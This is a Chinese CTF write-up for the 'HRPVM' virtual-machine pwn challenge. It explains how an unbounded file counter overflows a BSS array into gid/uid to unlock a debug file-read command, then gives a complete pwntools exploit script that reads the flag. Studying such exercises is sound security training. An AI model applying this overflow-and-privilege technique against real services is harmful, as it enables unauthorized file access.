0%

VM pwn+bss溢出

vmbyhrp

1
2
3
4
5
6
HRPVM: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=ae19ec35e351cd7e0113b04270566c04bd3bd321, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

在 DEBUG 命令中有读取任意文件的功能:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
puts("FILE NAME:");
name = malloc(0x20uLL);
read(0, name, 0x20uLL);
deleEnter((const char *)name);
stream = fopen((const char *)name, "ab+");
if ( stream )
{
for ( i = 0; (unsigned int)__isoc99_fscanf(stream, "%c", &data[i]) != -1; ++i )
;
fclose(stream);
HF[file_count].fd = global_fd;
HF[file_count].name = (char *)name;
HF[file_count].size = 1000LL;
count = file_count;
HF[count].data = (__int64)malloc(0x1000uLL);
strncpy((char *)HF[file_count].data, data, 0x1000uLL);
++file_count;
++global_fd;
}
  • DEBUG 命令需要覆盖 gid 和 uid
1
2
if ( !strncmp(system_cmd[6], (const char *)buf, len) && !gid && !uid )// debug
DEBUG();

全局变量 file_count 没有限制大小,导致 HF 可以向下溢出到 gid 和 uid

1
2
3
4
5
6
7
8
9
HF[file_count].fd = global_fd;
HF[file_count].name = name;
HF[file_count].size = 1000LL;
count = file_count;
HF[count].data = (__int64)malloc(0x1000uLL);
printf("FILE CONTENT: ");
read(0, (void *)HF[file_count].data, 0x1000uLL);
deleEnter((const char *)HF[file_count].data);
++file_count;

入侵思路

使用如下两个脚本并配合溢出可以很轻松地覆盖 gid 和 uid:

1
2
3
4
5
6
7
8
9
10
payload =  "mov rdi,1;"
payload += "mov rsi,36;"
payload += "mov rdx,1001;"
payload += "mov rax,1;"
payload += "call write,1;"

payload2 = "mov rdi,35;"
payload2 += "mov rsi,0;"
payload2 += "mov rax,2;"
payload2 += "call open,2;"

但 DEBUG 退出时会置空全局变量 dest 导致后续程序触发段错误:

1
2
3
4
5
deleEnter(buf);
gid = 1000;
uid = 1000;
strncpy(dest, src, 8uLL);
machine_start();

login_system 函数中可以往全局变量 dest 中写入数据:

1
2
printf("%s", "[+]HOLDER:");
read(0, dest, 0x10uLL);

在 mmap 命令中可以使用 mmap 创建一片合法的空间:

1
2
3
4
5
6
7
if ( !strncmp(debug_cmd[4], buf, len) )     // mmap
{
addr = 0LL;
puts("[+]ADDR EXPEND:");
__isoc99_scanf("%lld", &addr);
mmap(addr, 0x400uLL, 3, 34, -1, 0LL);
}

于是我们可以在 DEBUG 使用 mmap 指令创建合法空间,然后 reboot 调用 login_system 并写入合法空间,这样就不会发生段错误了

剩下的操作就是程序的正常功能,完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './HRPVM'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process(challenge)
else:
p = remote('119.13.105.35','10111')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x248E)\nb *$rebase(0x220B)\n")
#pause()

def cmd(op):
sla(">",str(op))

def pwn(name):
sla("HRP-MACHINE$ ","./"+name)

def add(name,data):
sla("HRP-MACHINE$ ","file")
sla("FILE NAME: ",name)
sla("FILE CONTENT: ",data)

def dele(name):
sla("HRP-MACHINE$ ","rm "+name)

#debug()

sla("USER NAME:","HRPHRP")
sla("PASSWORD:","PWNME")
sla("[+]HOLDER:","YHELLOW")

payload = "mov rdi,1;"
payload += "mov rsi,36;"
payload += "mov rdx,1001;"
payload += "mov rax,1;"
payload += "call write,1;"

payload2 = "mov rdi,35;"
payload2 += "mov rsi,0;"
payload2 += "mov rax,2;"
payload2 += "call open,2;"

payload3 = "mov rdi,36;"
payload3 += "mov rsi,1001;"
payload3 += "mov rax,2;"
payload3 += "call open,2;"

add("write",payload)
add("open",payload2)
add("open2",payload3)

for i in range(29):
add(str(i),"1111")

pwn("open")

sla("HRP-MACHINE$ ","DEBUG")
sla("[+][DEBUGING]root#","file input")
sla("FILE NAME:","flag")
sla("[+][DEBUGING]root#","mmap")
sla("[+]ADDR EXPEND:",str(0x560000000000))
sla("[+][DEBUGING]root#","exit")

sla("HRP-MACHINE$ ","reboot")
sla("USER NAME:","HRPHRP")
sla("PASSWORD:","PWNME")
sla("[+]HOLDER:",p64(0x560000000000))

pwn("open2")
pwn("write")

p.interactive()